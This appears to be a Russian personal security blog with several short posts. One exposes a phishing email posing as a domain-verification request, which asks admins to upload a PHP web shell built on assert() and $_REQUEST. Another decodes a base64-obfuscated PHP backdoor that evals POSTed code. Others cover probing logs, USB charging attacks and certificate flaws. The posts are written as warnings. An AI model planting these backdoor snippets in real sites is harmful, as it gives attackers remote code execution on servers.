файл отрицательного размера

Уважаемый администратор домена!

В соответствии с поправками, внесенными в ICANN RAA, Вы должны подтвердить, что фактическое управление доменным именем ***.ru осуществляется лицом, указанным в качестве его администратора.

Чтобы подтвердить, что Вы имеете возможность управлять доменом, создайте в корневой директории сайта файл *****.php со следующим содержимым:

<?php
assert(stripslashes($_REQUEST[RUCENTER]));
?>

Файл должен быть создан в течение трех рабочих дней с момента получения настоящего сообщения и находиться на сервере до 19 августа 2017 года, 15:00 (UTC+03:00), в противном случае процедура активации будет считаться непройденной.

Уведомляем Вас о том, что если процедура подтверждения не будет пройдена, обслуживание домена будет приостановлено.

Письмо я прочитал слишком поздно, а то бы и вправду создал этот файл. Естественно, с другим кодом, чтобы записать, какие запросы эти хакеры в него будут посылать, а не позволять им читать и писать файлы у меня на сервере, и выполнять прочие команды.

Сейчас посмотрел в логи, они и вправду пытались в него зайти вплоть до 19 августа, как и обещали:
13.59.87.172 - - [07/Aug/2017:15:04:08 +0100] "POST /*****.php HTTP/1.1" 404 218 "-" "Mozilla/5.0 (X11; ; Linux i686; rv:1.9.2.20) Gecko/20110805"
13.59.87.172 - - [10/Aug/2017:16:36:36 +0100] "POST /*****.php HTTP/1.1" 404 218 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13"
54.215.228.151 - - [19/Aug/2017:12:13:41 +0100] "POST /*****.php HTTP/1.1" 404 218 "-" "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"

А вот где они украли мой адрес – непонятно, nic.ru в whois про меня ничего не показывает, просто Private person.

Оригинал этой записи в личном блоге.

Да щаз, из Китая столько хакеров выползает.. Вот сейчас внезапно обнаружил, что когда я из дома захожу на сайт www.17track.net, рекомендованный DealExtreme’ом для отслеживания отправленных ими посылок по разным странам, на моём домашнем веб-сервере появляются вот такие запросы:

202.104.118.199 - - [23/May/2017:14:14:39 +0100] "GET http://www.17track.net/restapi/handlertest.ashx HTTP/1.1" 403 401 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" "-" "www.17track.net"
202.104.118.193 - - [23/May/2017:18:38:36 +0100] "GET http://www.17track.net/restapi/handlertest.ashx HTTP/1.1" 403 401 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" "-" "www.17track.net"
202.104.118.199 - - [24/May/2017:17:15:55 +0100] "GET http://www.17track.net/restapi/handlertest.ashx HTTP/1.1" 403 401 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" "-" "www.17track.net"
202.104.118.193 - - [24/May/2017:19:28:55 +0100] "GET http://www.17track.net/restapi/handlertest.ashx HTTP/1.1" 403 401 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" "-" "www.17track.net"

Формат лога – стандартный апачевский combined, к которому добавлены два поля в конце: Сookie и Host из HTTP-запроса.

Выходит, что они каждый раз проверяют, не зашёл ли я к ним с дырявого прокси-сервера. Потому что запрос с таким полным урлом только им и может обрабатываться.

Оригинал этой записи в личном блоге.

via infowatch:

Товарищи собрали “зарядку”, которая, якобы, будучи подключённой к любому устройству на iOS, может устанавливать туда произвольные программы. Полагаю, что и читать оттуда произвольные данные тоже может. Пока устройство достаточно большое, собрано на BeagleBone, но в принципе нынешние технологии вполне позволяют запихнуть его в один маленький незаметный чип внутри USB-зарядки.

Но фиг бы с ней, с iOS, лично я ей не пользуюсь, а вот аналогичная проблема с Андроидом меня таки беспокоит.

В предыдущем телефоне с ещё вторым Андроидом можно было настроить поведение телефона при подключении к USB: как mass storage device, как usb-ethernet для раздачи мобильного интернета в компьютер или наоборот, для получения интернетов из компьютера, в отладочном режиме (для разработчиков софта), или ещё как-нибудь. У меня по умолчанию был выбран режим “только зарядка”, а всё остальное надо было явно включать вручную на телефоне.

В новом же телефоне с четвёртым андроидом ублюдочный MTP включается автоматически (если только телефон не был предварительно заблокирован). В любом случае, если телефон разблокировать, когда он уже подключён, то MTP тут же включается, и как это поведение изменить — я не нашёл.

Хуже того, у меня постоянно самопроизвольно включается режим USB debugging. Сколько я его ни выключал в Developer options, при подключении к компьютеру по USB он тут же включается обратно. А ведь он позволяет не только читать и писать произвольные данные (хоть и от пользователя, а не от рута), но и устанавливать программы.

И в отличие от вышеупомянутой iOS, даже ломать ничего не надо. Заходи кто хочешь, устанавливай что хочешь.. Как-то оно печально.

Оригинал этой записи в личном блоге.

<?php eval(base64_decode("aWYoaXNzZXQoJну и т.д.")); ?>

После декодирования оно выглядит так:

if(isset($_GET["part"])) {  if($_GET["part"]=="sec")  echo "partgood"; } else if(isset($_POST["ggg"])) {   if($_POST["ggg"]==1)        echo "ok11";  } else if(isset($_POST["main"])) {  eval(urldecode($_POST["main"])); }

Оригинал этой записи. Комментировать можно тут или там.

На крупнейшем ирландском форуме boards.ie второй день красуется надпись о том, что неустановленными лицами извне Ирландии был осуществлён несанкционированный доступ к базе данных логинов, паролей (к счастью, шифрованных) и почтовых адресов пользователей.

В связи с чем форум закрыт на неопределённое время. Интересно, что новости рекомендуют читать не на самом сайте, а на твиттере.

via nikulina

“Today, Thursday 21 Jan 2010 at 11:20 GMT the Boards.ie database was attacked by a source external to Ireland. This triggered our security response policy and as a result we are sending you this warning email.

In this attack, part of the database which includes our members usernames, email addresses and obfuscated passwords was accessed. While our investigations indicate that individual user accounts are not in danger we have taken the step of changing all user passwords.

( Read the rest of this entry » )

Оригинал этой записи. Комментировать можно тут или там.

Некорректная обработка нулевого символа в CN позволяет получить честно заверенный сертификат, который будет приниматься за сертификат от чужого домена. Какая лепота..

Подробности

via [ljuser]motto[/ljuser]

Оригинал этой записи в личном блоге.
Любые материалы из этого блога запрещается использовать на сайте livejournal.ru в любой форме и любом объёме.

Так выглядит защита на персональном компьютере КГБ, которую ломает шведский шпиён:

Остальные картинки под катом

( Read the rest of this entry » )

Оригинал этой записи. Комментировать можно тут или там.